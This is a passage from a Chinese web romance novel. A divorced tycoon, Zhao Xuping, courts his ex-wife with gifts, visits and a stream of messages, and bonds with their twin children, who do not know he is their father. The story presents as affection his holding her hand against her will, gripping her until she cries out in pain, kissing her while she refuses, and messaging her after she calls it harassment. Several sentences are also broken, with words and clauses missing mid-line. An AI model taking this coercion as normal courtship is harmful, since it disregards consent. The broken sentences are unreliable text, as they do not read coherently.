周静烟和孩子们在儿童房说的话,赵叙平从卧室出来后,站儿童房门口偷摸听了会儿,庆幸儿子没什么大碍,又心疼他们仨住在这种老破小。 看样子还得加把劲,赶紧接他们仨回来,赵叙平心想。 秘书打通周静烟电话,转达老板的意思。 通话结束得很快,秘书看着赵叙平:“赵总,周小姐说她知道了。” 赵叙平忙问:“她还说什么没?” 秘书如实答道:“她说请您别再骚扰她。” 赵叙平面子有些挂不住,干咳一声,挥挥手,示意秘书离开。 开完会,赵叙平又上网搜了搜小孩儿上火喝什么好,一堆人说七星茶,据说广城那边很多孩子都喝这个降火。 他心想,广城人成天都在降火祛湿,跟着他们喝准没错,立马买了寄过去。 一下班赵叙平又想往周静烟那跑,理智将他拦住。 这时候过去,不仅会吓着孩子,还更惹周静烟嫌弃。为了长久的胜利,他必须忍一忍。 连着两天,周静烟签收了好些东西。 又是加湿器,又是降火茶,又是各种各样的降火水果。最离谱的是,赵叙平竟特意让人写了张纸条放进在水果袋子里: 【请转告周云生那小子:多喝热水——他爹赵叙平留】 周静烟盯着这张纸条,又气又想笑,怕孩子看到,赶忙将纸条对折,塞进茶几抽屉。 午后,俩孩子在客厅看着电视吃水果,周静烟在卧室睡得正香。 周云生手欠,这扒拉一下,那捣鼓一下,吃够了,开始翻箱倒柜,最后拉开茶几里侧左边那层抽屉,看到那张折叠过的纸条,翻开认真读起来。 “请……周云生……小子:多……水……他……平……” 看到自己名字,周云生立马来了兴趣,字认不全,不知道这话什么意思,越发好奇,赶忙将纸条递给姐姐,“帮我读读好吗?” 周听雨放下那块吃了一半的西瓜,盯着纸条念出生:“请……周云生那小子:多喝……水——他……赵……平……” 到底才三岁不到,这句话周听雨也认不全。 她皱起小眉头,忽地瞪大眼睛:“我知道了!是赵叔叔写的!他让你多喝水!” 周云生一脸茫然:“啊?” 周听雨指着纸条上的字,挨个念,不会的就“嗯啊”含糊跳过:“请嗯啊周云生那小子:多喝嗯啊水——他叔赵叙平嗯啊……” 周云生指着“爹”字问:“这是‘叔’?” 周听雨笃定点头:“当然啦!因为他是赵叔叔嘛!” 周云生对赵叙平没什么好印象,冲天花板翻了翻白眼:“他干嘛只给我写,不给你写啊?” 周听雨:“肯定是妈妈告诉他你流鼻血了,他关心你呗!赵叔叔多好呀,你还说人家是坏人!” 周云生心里觉得这位赵叔叔确实挺暖的,可又抹不开面儿夸他,噘着嘴哼哼两声,大口大口吃起西瓜。 午睡醒来,周静烟收到一条来自赵叙平秘书的短信。 【周小姐,赵总出差了,三天后回来,如果您需要帮助,请随时联系我。】 周静烟放下手机,没回。 五点半,周静烟刚做好晚饭,外头有人敲门,她走过去准备看猫眼,外头的人喊道:“听雨,我是赵叔叔!听雨,赵叔叔来看你了!” 熟悉的声音让周静烟呼吸一滞。 她蹙眉凑近猫眼,果然看见赵叙平在外头,一时纳闷,很快反应过来自己已经中计。 这人不仅脸皮厚,还老奸巨猾,故意让秘书说他上外地出差,降低她警惕,趁她不备忽然过来,还扯着嗓子这么喊,摆明了想利用孩子进屋。 果然,听到外头的喊声,周听雨立马从沙发上跳下来,冲向大门:“妈妈妈妈!赵叔叔来啦!赵叔叔说过要来看我的!今天真的来啦!” 她飞快跑到母亲身边,见母亲站在门口,却并没有要开门的意思,仰脸皱着小眉头问:“妈妈,为什么还不给赵叔叔开门?” 外头又开始喊:“听雨,静烟,你俩在家吗?” 沙发上的周云生听得来气,也冲到门口凑热闹,对着门喊:“他俩在家,我也在家,为什么不问问我?” 外头笑着说:“那我补上啊——请问周云生小朋友在家吗?” 周云生叉腰蹦起来:“不在!” 他吐了吐舌头,转身又冲回沙发,拿起遥控器换台。 仨人声音一个比一个大,周静烟脑袋都快被他们仨吵晕了,扶着额,闭眼摇头,深吸一口气,硬着头皮按下门把。 推开门,她冷冷看着外面的男人。 视线交错,一个板着脸,一个乐开花。 赵叙平讨好地冲她笑了笑:“忘了提前说要过来,没打扰你们吧?” 周静烟歪着脑袋,蹙眉,半张着嘴瞪他,无声骂道:说这种话,你还是人吗? 就没见过比他更能装的。 她没开口,周听雨倒是开口了,拍着手说:“不打扰不打扰!欢迎赵叔叔来我们家!” 小家伙仰起脑袋盯他,不禁感慨:“赵叔叔,你好高,好帅啊!” 赵叙平活了这么些年,听过无数夸奖,只有周静烟和闺女能夸进他心坎儿。 他抬起两条胳膊,两只手都拎着好几个袋子,低头冲周听雨笑道:“叔叔给你们带了很多礼物。” 周听雨眼睛都亮了,扭头看向客厅沙发:“弟弟,赵叔叔给我们都带了礼物!你也有份哦!” 周云生站在沙发上,望着门口,与赵叙平四目相对。 他看着这个男人,总觉得似乎在哪见过,跑到门口仰脸细看,纳闷:“咱俩是不是以前见过啊?” 周听雨板起脸严肃提醒:“弟弟,不要这么没礼貌,要叫赵叔叔。” 周云生看了看这位赵叔叔手里拎的大包小包,想着里面也有自己的份,不好意思对人冷脸,挤出一个笑:“赵叔叔好。” 见弟弟这么听姐姐的话,赵叙平深感欣慰,不客气走进来,没看见周静烟生气似的,走到沙发旁,将手里的东西都放茶几上。 “这是你俩的点心和巧克力;这是听雨的洋娃娃;这是云生的遥控车;这是你俩的点读笔,一人一个;这是你俩iPad,一人一个;这是听雨的化妆套盒;这是云生的玩具枪;这是听雨的美甲套盒;这是云生的礼仪小绘本。” 每一样礼物都深深戳中周听雨的心,她幸福得眩晕,难以置信:“这些都是给我的吗?” 赵叙平端详着女儿,仔仔细细瞧她,鼻子发酸,扬唇点了点头:“都是听雨的。以后听雨想要什么,只管跟——跟叔叔说。” 差点脱口而出“爸爸”那两个字,他心里不是滋味儿,轻抚女儿的头,含泪微笑。 闺女真俊,真像他,赵叙平心想。 一旁,周云生忽然开口:“赵叔叔,谢谢你的这些礼物,前面几个我都很喜欢,只是这个礼仪小绘本,我不看。” 赵叙平转过身来,也摸摸他的头,发现儿子跟自己小时候几乎一个模子刻出来的,愣了愣,笑着问:“为什么不想看?” 周云生叹气:“不喜欢……” 赵叙平语重心长:“不喜欢也得看,因为你需要。” 周云生摇摇头:“我觉着我不需要。” 赵叙平:“不,你需要。” 周云生看看绘本,又看看其他礼物,心想,先收下再说,反正自己看不看,赵叔叔也不知道。 赵叙平还能不知道儿子想什么?阳奉阴违的事儿他小时候可没少干,这小子真是随了根了。 赵叙平手指敲敲绘本:“以后叔叔要考你绘本上的东西,认真学啊,到时候别考零蛋。” 周云生拿起绘本盖在脸上,身子倒向沙发,假装中弹,拖着嗓子抱怨:“哎哟喂,可真是要命了!” 给赵叙平乐够呛,心想:这小子虽然顽劣,但也有可爱的时候。 他扭头看向站在闺女身旁,冷冰冰看着他们一言不发的周静烟,递过去一个精美礼袋,腆着脸笑:“孩子妈也有礼物。” 周静烟抱起胳膊,没接礼袋。 他自个儿打开礼袋,从里面拿出盒子,开盖递过去。 是块腕表。 周静烟瞥一眼logo,百达翡丽。 她还是没接,转身往自己卧室走:“你过来。” 赵叙平颠颠跟在她身后,回头看了看俩孩子。 小家伙们正开开心心玩自己的新礼物,他笑意止不住。 一进卧室周静烟就把门关上,蹙眉瞪着他,压低声音骂道:“你缠上我们了是吧?怎么这么没脸没皮!” 赵叙平一点儿不生气,咧嘴:“什么叫‘缠’呐,多难听!咱一家人不说两家话。” 周静烟知道自己跟他掰扯不明白,叹息着别过脸,沉默片刻,目光看向他,冷冷开口:“手表,点读笔和iPad拿回去,这些贵重物品我们不要。还有什么化妆、美甲套盒也拿回去,听雨这么小,哪能用这些!” 赵叙平解释:“用的都是天然无毒材料,放心,我能坑自个儿闺女么?” 周静烟懒得跟他多说:“拿回去,统统拿回去,我们什么也不要!” 赵叙平走近两步,握住她的手,被她甩开。 他默默叹息,满眼愧疚瞧着她:“这几年苦了你了,给我个机会偿还,成么?” 周静烟避开他目光,面色如霜:“我们过得很好,不需要你偿还。你别来打扰我们,我就谢天谢地了。” 赵叙平搞不懂:“俩孩子都很开心,我不觉着自己打扰到他们。” 周静烟冷笑,指着自己:“你打扰到我了,听明白了吗?” 赵叙平眼眶微润,这回握她手时稍微用些力道,她甩不开,气得狠狠瞪他。 他只当没看见,抬起她的手,吻了吻手背,又拿她手背蹭自己脸颊。 “周静烟,你自个儿算算,咱俩多少年了。” 说这话时,他声音哽咽。 周静烟扯扯唇,神情依然冷如冰霜:“多少年都已经是过去式,那天我说得还不够明白么?咱俩回不去了。” 他攥紧她的手,带着哭腔开口:“回不去我也要回,我就回,我硬回!” 周静烟气笑了,别过脸抹泪,声音也微微发颤:“硬回也回不去,我不爱你了。” “不爱我你哭什么?”他扳过她的脸,逼她看自己,“嗯?周静烟,不爱我你哭什么?说话。” 她咬着唇沉默,许久才有勇气抬眸。 “哭是因为我难受,跟爱不爱你没关系。” 赵叙平轻声哼笑,眨眼之间,泪水滴落。 他抬手胡乱抹了把泪,点头:“行,不爱就不爱。你不爱我,我爱你。” 周静烟微愣,不禁发笑,语气几分嘲讽:“现在说这个,有什么用?” “有用没用我都要说。周静烟,我爱你,听见了吗?明白了吗?我爱你!我,赵叙平,爱周静烟!” 他拥她入怀,双臂紧紧箍住她身子,箍得她发疼,只觉得窒息,不住地挣扎:“疼……好疼……松开!” 他松了松力道,不肯撒手,就这么拥她许久。 周静烟挣扎到没有力气,软绵绵靠在他怀里,流着泪摇头。 “赵叙平,”她哽咽着唤他,“迟来的深情比草贱。” 他没脸没皮承认:“我就是贱,我贱骨头一个!” 周静烟眼泪越发收不住,实在拿他没招,只得搬出孩子:“先放开我好不好?孩子们饿了,再不吃,饭都快凉了。” 这话果然好使,他立马松开怀抱,却又迅速攥住她的手。 她挣了挣,自然挣不开,雾蒙蒙的眼睛看着他,蹙眉摇头:“别让孩子看见……” 他牵着她走到门边,将她抵在门上,薄唇吻了吻她耳朵,哑着嗓子求:“等会儿就告诉孩子,我是他俩亲爹,成么?” 她别过脸,不想让他碰,那双薄唇又跟着过来,吻她另一只耳朵。 “成么?”这人没脸没皮软磨硬泡。 周静烟咬着牙不松口,他抵着人亲一会儿求一会儿,弄得她虚软,仍是不住地摇头。 “不成,现在还不是时候。” 他不高兴了,沉着脸问:“那得等到什么时候?” 孩子们都很想看看爸爸,继续瞒着对他俩也不好,弟弟已经恨上父亲了,周静烟不希望儿子心里种下仇恨,思来想去,决定找机会跟姐弟俩坦白。 “再等等,你先跟他们接触一下,过些日子再说这事儿。” 赵叙平想了想,也没其他更好的办法了,点头应道:“行,那我抽空多陪陪他俩。” 周静烟趁机推开他,理了理头发和衣服,开门往外走。 孩子们还在鼓捣自己的玩具。 周听雨怀里抱着洋娃娃,身子轻轻晃,嘴里哼起摇篮曲。周云生握着赛车遥控器,满屋子开赛车,嗷呜嗷呜跟狼似的,嚎个没完。 赵叙平看着俩孩子,目光浮现以往从未有过的慈祥。 周静烟也看着他俩,心下叹息:怎么这会儿倒是都有孩子样了? “妈妈,你脸为什么这么红?”周听雨望向母亲,大声问。 周静烟这才察觉自己脸颊烫得厉害,摸摸脸,低头:“红吗?还好吧……” 旁边传来男人低沉狡黠的笑声。 “红,特红。”赵叙平凑到她耳边,“特好看。” 周静烟拿眼剜他,赶忙走到饭桌旁,蹙眉凶巴巴催道:“都别玩儿了,洗手吃饭!” 周听雨放下洋娃娃,跑过来抓住赵叙平的手:“赵叔叔,你别走啦,留在我家吃晚饭吧!” “哎哟,那怎么好意思!”赵叙平脸都快笑烂,嘴上不好意思,抱起闺女,步子迈得老大,飞快走去厕所洗手。 第52章 第52章【VIP】 为了不吃隔夜菜,也不浪*费,周静烟通常晚饭做得少,刚好够自己和孩子们吃完。 等赵叙平带着女儿洗好手出来,她便以饭菜不够吃为借口撵人:“你改天再来吧,今晚肯定吃不饱。” 赵叙平笑得一脸随和:“没事儿,我吃得少,不吃都行。” 周静烟低头给俩孩子盛饭:“行,那别吃了,赶紧回去。” 赵叙平将女儿抱到椅子上,仍是冲她笑:“没事儿,我看着你们仨吃。” 周静烟拿着饭勺狠狠往电饭锅里戳,心想你没事儿,我有事儿。 她正要开口,见女儿从椅子上下来,往厨房里跑,问道:“听雨,你干嘛去?” “我给赵叔叔拿碗筷!” 周静烟拿饭勺的手都气得发抖,又往锅里狠戳一下,冷冷瞥向赵叙平。 赵叙平咧着嘴乐,跟个没事儿人似的,看着闺女屁颠屁颠拿着碗筷出来,赶紧起身接过,又把闺女抱回椅子上。 周云生自己坐上椅子,伸手拿筷子,被赵叙平叫住:“洗手了么?” 周云生摇摇头。 赵叙平:“先去洗手。” 周云生满脸不情愿,洗了手回来,噘着嘴冲赵叙平哼一声。 赵叙平扯扯唇,给他们娘仨各夹一块肉。 周静烟立马将肉放进他碗里。 他也不气,自己给自己盛了碗饭,安心吃起来。 以往吃饭时,周静烟不让孩子们说话,孩子们也守规矩,吃得安安静静。今天赵叙平在,周听雨可憋不住,一会儿问他喜不喜欢吃这个,一会儿问他喜不喜欢吃那个,周静烟板着脸冲她蹙眉。 “听雨,吃饭的时候不许说话。” 周听雨瘪着小嘴委屈巴巴,赵叙平赶忙开口:“不说话多闷呐,说说也没事儿。” 周静烟拿眼瞪他:“都还这么小,呛着怎么办?” 赵叙平觉得很有道理,笑眯眯跟闺女解释:“吃饭的时候说话,很可能把食物吸进气管里,那就麻烦了,严重的话可能会没命。所以,听雨得记住,吃东西时最好别说话,更不能笑,笑更容易呛到。” 周听雨叹气:“那长大了可以说吗?” 赵叙平:“长大了可以,大人没那么容易呛到了。” 周听雨甜甜地笑起来,冲让他点了点头,安静吃饭。 大家一吃完,赵叙平赶紧去洗碗,周听雨跟着进厨房,守在他身边,叭叭叭说个没完。 周云生接着玩遥控车,时不时往厨房那看一眼,撇撇嘴。 周静烟抱起胳膊站厨房门口,冷脸听着父女俩对话。 “赵叔叔,你问过我爸爸吗?他到底什么时候回来呀?” “快了。” “爸爸还跟你说什么了?” “没跟我说什么,不过他有很多话想对你说,等见着面,他会慢慢告诉你。” “那他有没有给我和弟弟找新妈妈?” “当然没有,听雨怎么会有这种想法? “我有个同学,她的爸爸给她找了新妈妈,新妈妈很坏!” “你爸爸永远不会给你找新妈妈,你爸爸永远只爱你妈妈。” 说完,赵叙平扭头看向门口,对上周静烟双眸,微微扬唇。 周静烟低头躲开那道视线。 他转回脸来,问女儿:“记住了吗?” 周听雨重重点头:“记住啦!” 她笑得神神秘秘,冲赵叙平招手。 赵叙平知道这是要跟他说悄悄话,俯身将耳朵凑近她嘴边。 “我妈妈也很爱爸爸!很爱很爱爸爸!”小家伙趴在他耳边轻声说。 赵叙平微愣,扭头看着女儿,不太相信:“真的?” 小家伙再次重重点头:“真的!妈妈亲口告诉我的。” 她问过妈妈是不是很喜欢很喜欢爸爸,妈妈可是承认过。 很喜欢很喜欢,那不也是很爱么? 孩子聪明却单纯,瞧不出母亲的敷衍。 赵叙平内心涌起狂潮,喜上眉梢,忍不住又回头看向门口,门口已经没了人。 赵叙平笑着问女儿:“听雨是不是很想爸爸回来跟你们一起生活?” 周听雨眨眨眼:“当然啦!” 赵叙平认真看了女儿片刻,向她保证:“爸爸很快就会回来,很快。” 周听雨等不及:“哪天呀?” 他多想此刻就对女儿坦白。 想说却又不能说,赵叙平内心痛苦,不禁红了眼眶。 孩子看出他的难过,不懂这是怎么了,皱着小脸关心道:“赵叔叔,你为什么哭?” 赵叙平摇头,勉强笑了笑:“没什么,叔。” 孩子信了,嘿。” 赵叙平柔声问:“听雨,你身边,就欺负你?” ,云生打架很厉害,没人敢欺负我俩。” 赵叙平听完又喜又忧。喜的是两个孩子都没受欺负,忧的是儿子性格太像他,肯定不好管教。 “那就好。”他淡笑着起身继续洗碗。 客厅里,周云生开着遥控车满屋子蹿,横冲直撞,周静烟生怕他跌倒,追在后面护着,跑一会儿累得气喘吁吁,栽进沙发,无奈看着精力旺盛得异于常人的儿子。 直到遥控车没电了,周云生才停下来,将车和包装盒里的充电器递给母亲。 “妈妈,请帮忙。” 周静烟拆下车里的电池,充上电后,抓住正准备跑开的儿子。 “云生,先别动,妈妈有话问你。” 周云生睁大眼睛看着她。 周静烟:“姐姐在厨房跟赵叔叔说话,你为什么不进去一起聊聊?而且,我看你总往厨房看,是不是其实很想参与他们?” 周云生飞快摇头。 周静烟:“那为什么总往厨房看?还满脸不高兴的样子。” 周云生噘着嘴不说话。 周静烟抱住他:“来,偷偷告诉妈妈好吗?” 儿子趴在她肩头,小声说:“他偏心!” 周静烟:“谁?赵叔叔吗?” 儿子点点头。 周静烟也瞧出来赵叙平偏心女儿,可又不能这么跟儿子说,只能劝道:“赵叔叔觉得云生是男孩儿,他对男孩儿不像对女孩儿那么温柔。” 周云生哼一声,仍噘着嘴,过了会儿,问:“要是爸爸回来,会不会也偏心?” 这个问题周静烟不知该怎么答,一时语塞,看着他浅浅叹息,难免心疼起儿子。 就算赵叙平跟他相认,肯定还是会偏心。周静烟看出来了,女儿简直就是赵叙平的心头肉,以后不知道会被宠成什么样。 不管自己跟赵叙平关系如何,女儿能被爸爸宠爱,怎么说都是件好事。可这人对俩孩子的态度差别太明显,代入儿子的视角,周静烟心里很替他难过。 “爸爸对你可能会比较严厉,但他肯定是爱你的。” 父女俩从厨房出来,沙发上的母子俩同时望过去。 周云生看一眼他们,立马又转回脸,赌气似的轻哼。 赵叙平牵着女儿过来,说:“我回去了,不打扰你们休息,你们早点儿睡。” 他冲周云生挥挥手:“云生,听妈妈的话,记得看礼仪小绘本。” 周云生扭头看他,不情不愿点一下头。 周听雨送他到门口,握着他温暖的大手舍不得松开,仰脸问:“赵叔叔,你明天还来吗?” 赵叙平淡笑:“那得看你妈妈欢不欢迎我了。” 周静烟坐在沙发上,没动弹,片刻后扭头望向玄关,看着赵叙平:“周末再来吧,周末我有事儿,你帮我带带他俩。” 赵叙平欣喜若狂,嘴咧得老开,笑出俩酒窝:“真能给我带?” 周静烟微微低头:“你带他俩出去玩儿吧,我就不去了。” 周听雨开心得跟小兔子似的,蹦蹦跶跶,手舞足蹈:“太好啦太好啦!赵叔叔周末带我们玩儿!” 周静烟见儿子皱着眉头,轻轻推推他,小声说:“过去问问赵叔叔要带你们去哪儿。” 周云生走到赵叙平跟前,什么也没问,撂下一句“我不去”就跑进儿童房,砰地关上门。 赵叙平望着紧闭的房门,心里叹息:这孩子,气性这么大,果然是他亲生的。 周静烟看得心里难受,这才走到玄关,小声催促赵叙平:“你去哄哄他呀!” 赵叙平觉着没必要:“男孩儿哄什么啊,大老爷们儿这么脆弱。” 周静烟指了指儿童房:“他才多大,怎么就不能哄?” 赵叙平内心仍不想哄,又怕周静烟生气,松开女儿的手,低头对女儿说:“叔叔去跟弟弟聊聊。” 周听雨抓住他的手:“我也去!咱们一起聊!” 女儿这么黏他,他心里自然高兴,可也明白儿子为什么生气,便捏了捏女儿软软的小手,哄道:“听雨乖,在客厅等叔叔,叔叔跟弟弟聊完,再单独跟你聊聊。” 周听雨乖乖点头:“好!” 望着他走向儿童房的背影,周静烟心中五味杂陈。孩子需要父亲,这是毋庸置疑的事实。让赵叙平跟孩子相认,也是她无法逃避的结果。 然而,她和赵叙平早已不是当年的彼此,她也完全不希望他重新参与进自己的生活中。 为了孩子,她愿意与他保持联系,可仅仅只是保持联系而已——平时给他发发孩子的照片、视频;放假允许他接孩子出去玩儿…… 至于更深的关系,她不愿意。 没一会儿,赵叙平从儿童房出来,牵着周云生的手走到沙发边,捏捏他的脸,笑道:“周六见。” 周云生点一下头说一个字:“周!六!见!” 赵叙平抱起满脸期待的女儿,再次进入儿童房。 又一会儿,他抱着女儿出来,将女儿放到沙发上,冲儿女挥挥手:“叔叔回去了。” 说完,扭头看向周静烟,眼神都快拉丝:“我先走了。” 周静烟被他瞧得脸红,小声挤出一句:“走呗。” 赵叙平憋着乐离开。 客厅大门一关,周静烟立马扭脸看着儿女:“他跟你俩说什么了?” 俩孩子异口同声:“这是秘密!” 周静烟差点儿气晕过去。 合着他们仨统一战线了,当她是外人? 她非要问出个究竟。 晚上孩子入睡后,周静烟回到自己卧室,将那人微信移出黑名单,发消息问:【你跟他俩怎么说的?】 许久,那头回:【开了个视频会议,抱歉,让你久等了】 周静烟心想:现在倒是客气,以前自己给他发消息,他可是想回就回,不想回就晾着,就算过了很久才回,也难得跟她解释一次到底干嘛去了。 赵叙平:【没说什么,就随便聊了几句】 周静烟:【云生怎么忽然那么听话?】 赵叙平:【不能说,这是男人之间的秘密】 周静烟:【……】 赵叙平:【总算把我放出来了,以后咱俩能多聊聊么?】 周静烟:【跟你没什么好聊的】 赵叙平:【也不知道怎么了,从你那儿出来,就开始想你】 周静烟放下手机,没搭理。 过了会儿手机连着震动好几下。 赵叙平:【想你】 赵叙平:【特想你】 赵叙平:【周静烟,我爱你】 看得她鸡皮疙瘩都起来了。 周静烟:【再骚扰我,立马拉黑】 赵叙平破天荒发了个表情包——一只瘦骨如柴的老狗跪在雨中,旁边配字:就让这大雨全都落下。 周静烟正气着,看到这个,没绷住,噗嗤笑出声。 她直接关机,闭上眼逼自己什么都不去想,很快便睡着。 清早醒来,周静烟开机一看,赵叙平微信发来一句早安。 她没理,过了会儿又收到消息。 赵叙平:【吃了么】 她还是没理。 再过一会儿,赵叙平接着发:【早餐吃的什么?】 刷牙的手不自觉用力,周静烟一边狠狠刷着牙,一边打字骂:【你有完没完?跟个癞皮狗似的!】 赵叙平:【可怜可怜我这只癞皮老狗成么?】 周静烟:【你现在是彻底不要脸了!】 赵叙平:【只要你能带孩子回来,我可以什么都不要】 周静烟:【孩子可以偶尔去去你那儿,但我不会】 发完这句,她很快接到赵叙平电话。 接通后,起初谁也没说话。 过了一小会儿,赵叙平哑着嗓子开口:“周静烟,咱俩复婚吧,就当为了孩子,成么?我求你了。” 第53章 第53章【VIP】 周静烟看向窗外初升的太阳。太阳升起又落下,每天都是新的一天,而她和他,也不再如从前。 镜子碎了就是碎了,重新粘起来,裂痕还在,她没法自欺欺人告诉自己:只要他们重新开始,一切都会更好。 她不认为现在的生活有什么不好。 孩子两岁时,两位保姆因为家庭原因,都没法继续留在京州,保姆们离开后,周静烟决定不再请人照顾自己和孩子。 此后日子虽然忙碌许多,她却感觉更加充实快乐。 爱情不是必需品,男人不是救命药,一人两娃的日子,她过得幸福而知足。 周静烟沉默得太久,那头,赵叙平问她还在么,她深深吸气,又沉默片刻,轻声开口:“赵叙平,我今年三十三了。” “嗯,咱俩都不小了,我也三十八了。” “我已经不是十八岁的周静烟了。” 那头默默等她继续说。 她垂下眼眸,想起那个爱过他许多年的自己,鼻子发酸,声音微颤:“我早就不爱你了。” 那头似乎深吸一口气,随即陷入长久的沉默。 周静烟挂断电话,起身去厨房做早餐。 赵叙平大概是受了挫,连着几天都没联系她,没有他的搅扰,她心下安宁,也没多想。 晃眼就到周末。 星期六一早,赵叙平直接上门来接人,周静烟问他要去哪儿,他问孩子有没有吃饭。他来得早,俩孩子刚起,周静烟也不想留他多待,让他带孩子出去吃。 赵叙平低头冲俩小不点儿笑:“咱们上外边吃一顿,再去商场里的儿童乐园玩儿,好吗?或者你俩有没有更想去的地方?” 平时周静烟会定期带孩子去儿童乐园,俩人总玩不腻,听他说今天要去,开心极了。 周云生蹦得老高,问他是去哪个儿童乐园。 为了孩子,赵叙平头一次做起这方面的功课,上网搜过帖子,挑了一家他认为最好的儿童乐园。 他掏出手机,给孩子看那家的照片,俩小不点儿同时惊叹:“哇!好大!” 赵叙平:“想去吗?” 孩子们齐刷刷点头,大声喊:“想!” 赵叙平笑眯眯看着他俩:“咱们叫上妈妈一起,好吗?” 俩孩子一人抱着周静烟一条腿,开始求她。 “妈妈,你也一块儿去吧!” “妈妈,那里好好玩儿呀!” “妈妈妈妈妈妈妈妈妈妈!” …… 周静烟头都大了。 “妈妈真没法去,妈妈有事儿。”周静烟长长叹气。 周听雨刨根问底:“你有什么事儿呀?” “我——”周静烟绞尽脑汁,找不出个合理的幌子,不知怎么,嘴比脑子快,忽然冒出一句,“我得在家准备一下,你们爸爸快回来了。” 说完,她和赵叙平都是一愣。 周听雨瞪大眼睛:“咱们马上就能见到爸爸啦!” 她乐开了花,仰脸看着赵叙平,葡萄似的眼睛清澈又明亮:“赵叔叔,爸爸真的快回来啦!” 赵叙平笑而不语。 周云生在一旁,也捂着嘴偷乐。 见孩子这么开心,两个大人心里五味杂陈。 出门前,赵叙平问:“今晚能带孩子上我那儿住么?” 他目光和语气满是祈求,周静烟想:过不了多久他和孩子就要相认,现在多接触一下也好。 周静烟蹲下来,抱抱两个孩子,叮嘱他们:“今天就跟赵叔叔住吧,都要乖哦,要听赵叔叔的话,不然叔叔一个人可搞不定你俩。” 周听雨虽然很喜欢赵叔叔,可也记牢了母亲和老师教过的事,看看赵叙平,又看看母亲,小声问:“妈妈说过,不可以跟别人回家!我们老师也是这么说的!” 周云生拍拍胸脯:“没事儿,我保护你!” 赵叙平乐了,手掌放在儿子头顶:“我要真是坏人,你确定自己打得过我?” 周云生个头虽然比同龄人高,可跟赵叙平比起来,差距不是一星半点。他仰起脸看赵叙平一会儿,叹了口气。 赵叙平笑出声:“你俩放心,赵叔叔不是别人,赵叔叔是——” 他忽地顿住。 周静烟提心吊胆看着他,冲他蹙了蹙眉,怨他差点说漏了嘴。 周静烟赶紧给他圆话:“赵叔叔不是别人,他是……是很好的叔叔,不会害你们。” 他也不是爸爸呀!我们可以跟叔叔玩儿,但是不能跟叔叔回家。” 赵叙平灵机一动,笑着问:“如果妈,听雨是不是就放心了?” 周听雨立马点头:“嗯!妈妈在身边我不怕!” 赵叙平料到周静烟肯定会拒绝,赶在她前头开口:“赵叔叔家里很大,很漂亮,外面有花园,屋里有很多玩具。” 他扭头看着周云生,又说:“后院还可以打篮球,叔叔陪你玩儿球。” 周云生蹦跶个不停,嘴里直呼:“太好啦太好啦!我爱篮球!” 离婚后,赵叙平仍生活在以前他和周静烟住的那幢别墅。 别墅里没玩具,也没篮球,但是无妨, 周静烟自然不想去,上下打量他,问” 他摸摸鼻子,扭头看旁边:“还是老地方。” 周静烟明白那是哪儿,皱眉:“你那有这些东西么?” 他点头:“下午就能有。” 周静烟无话可说,冷着脸拒绝:“你们仨去吧,我不去。” 赵叙平侧头瞧她片刻,求道:“去呗,他俩都想你去。” 说完,他看向孩子,问:“你俩说,是不是?” 俩孩子异口同声:“是!” 他俩又开始抱着周静烟的腿,软磨硬泡,求她跟着一块儿去。 周静烟算是发现了,这人狡猾得要命,知道劝她不如劝孩子,而她又拿孩子没办法。 她狠狠剜他一眼,又气又无奈,不情不愿点头。 孩子们围着她大声欢呼,赵叙平也乐得合不拢嘴,温柔瞧着她,说:“晚点儿司机过来接你。” 她又剜他一眼,低头没作声。 赵叙平一手牵一个孩子往外走,她砰地将门关上,抱着胳膊站在玄关,半晌,长叹一声,去厨房给自己弄吃的。 赵叙平特意买了儿童座椅放车上,今天司机开车,他在后座陪孩子,上路后,立马发消息交代助理买东西送去住处。 俩孩子嘴就没停过。 周云生兴奋地在车里四处张望:“这车好大!” 周听雨点头附和:“豪华!” 周云生:“我以后也要买大车!” 周听雨:“好呀!” 周云生:“还要给妈妈和你买大房子!” 周听雨:“谢谢!” 赵叙平在旁边听得直乐,司机也笑出了声。 赵叙平看着俩小家伙:“早上想吃什么?” 周听雨眨巴着眼,笑得俏皮:“赵叔叔,是不是我俩想吃什么都行?” 赵叙平点头:“叔叔今天听你俩的。” 周听雨凑过去跟弟弟商量,姐弟俩大声密谋一会儿,她扭头看向赵叙平:“想吃麦当劳!” 赵叙平笑得不住耸肩,摸摸她脑袋:“不愧是咱京州孩子。我小时候也挺爱吃麦当劳。” 不过赵天成嫌这玩意儿不健康,不许他和妹妹吃,母亲偶尔会偷偷带他俩去炫一顿。 “妈妈平时让吃么?”他问。 周云生摇头:“不让,妈妈说不健康。” 赵叙平压低声音,食指放在嘴唇前:“那可说好了,谁也不许跟妈妈说咱们吃过麦当劳。” 小家伙们齐齐点头,满眼期待,满脸诚恳。 周听雨:“赵叔叔,你真的会带我们去吃麦当劳?” 赵叙平:“当然了,叔叔说到做到。不过咱还得说好,早餐吃了麦当劳,中午下午都得正儿八经吃饭。叔叔给你们买了健康零食放家里,回去咱们加餐。” 车里又响起孩子们的欢呼。 赵叙平手机震了震,掏出一看,他冲孩子们比了个“嘘声”手势,等孩子们安静下来,才接通电话。 “什么时候回来?”那头,母亲问道。 赵叙平:“今儿来不了,忙。” 章芝纭一听这话,火气窜得老高:“平时忙就算了,周末你忙什么忙!回来陪陪我和你爸!” 赵叙平:“上周不是才回去过么?再说了,我爸见着我就来气,估计不想看见我,我也甭回去气他。” 章芝纭:“那也得回来,不陪他,你得陪陪我。” 赵叙平想了想下周的工作安排,周一不加班,也没应酬,便说道:“我周一下班就来陪您吃晚饭。” 章芝纭:“不是,赵叙平,你跟我说说清楚,周末到底忙什么?” 赵叙平哪敢说自己忙着带孩子,随口胡诌:“又要搞个新项目,得开会讨论啊。” 沉默片刻,章芝纭叹气:“行吧,周一见。” 那边挂断电话,赵叙平将手机揣回兜里,听见闺女问:“赵叔叔,你跟谁打电话呀?” 赵叙平笑道:“我妈。” 周听雨也笑起来:“赵叔叔这么好,你妈妈一定也很好。” 赵叙平目光温柔:“那是。” 母亲如果知道自己有俩快三岁的孙子孙女,准激动得睡不着。 现在还不是跟母亲说这事儿的时候,赵叙平心里琢磨。 这一天,赵叙平对两个小家伙有求必应,小家伙们也很听话,尤其是周云生,出乎意料的乖。赵叙平这时候还不知道,未来儿子能淘成什么样儿。 在外面玩到下午五点,赵叙平带孩子去餐厅吃饭,想着孩子还小,便带他俩去了饮食清淡的广式茶餐厅, 去的路上,赵叙平联系周静烟,问她要不要一起吃晚饭,她没好气拒绝了,赵叙平又问要不要给她打包带点儿回去,她依然没好气,冷冷说不要。 赵叙平心里不好受,也不敢生气,只得好言好语哄了两句,那头直接挂断电话。 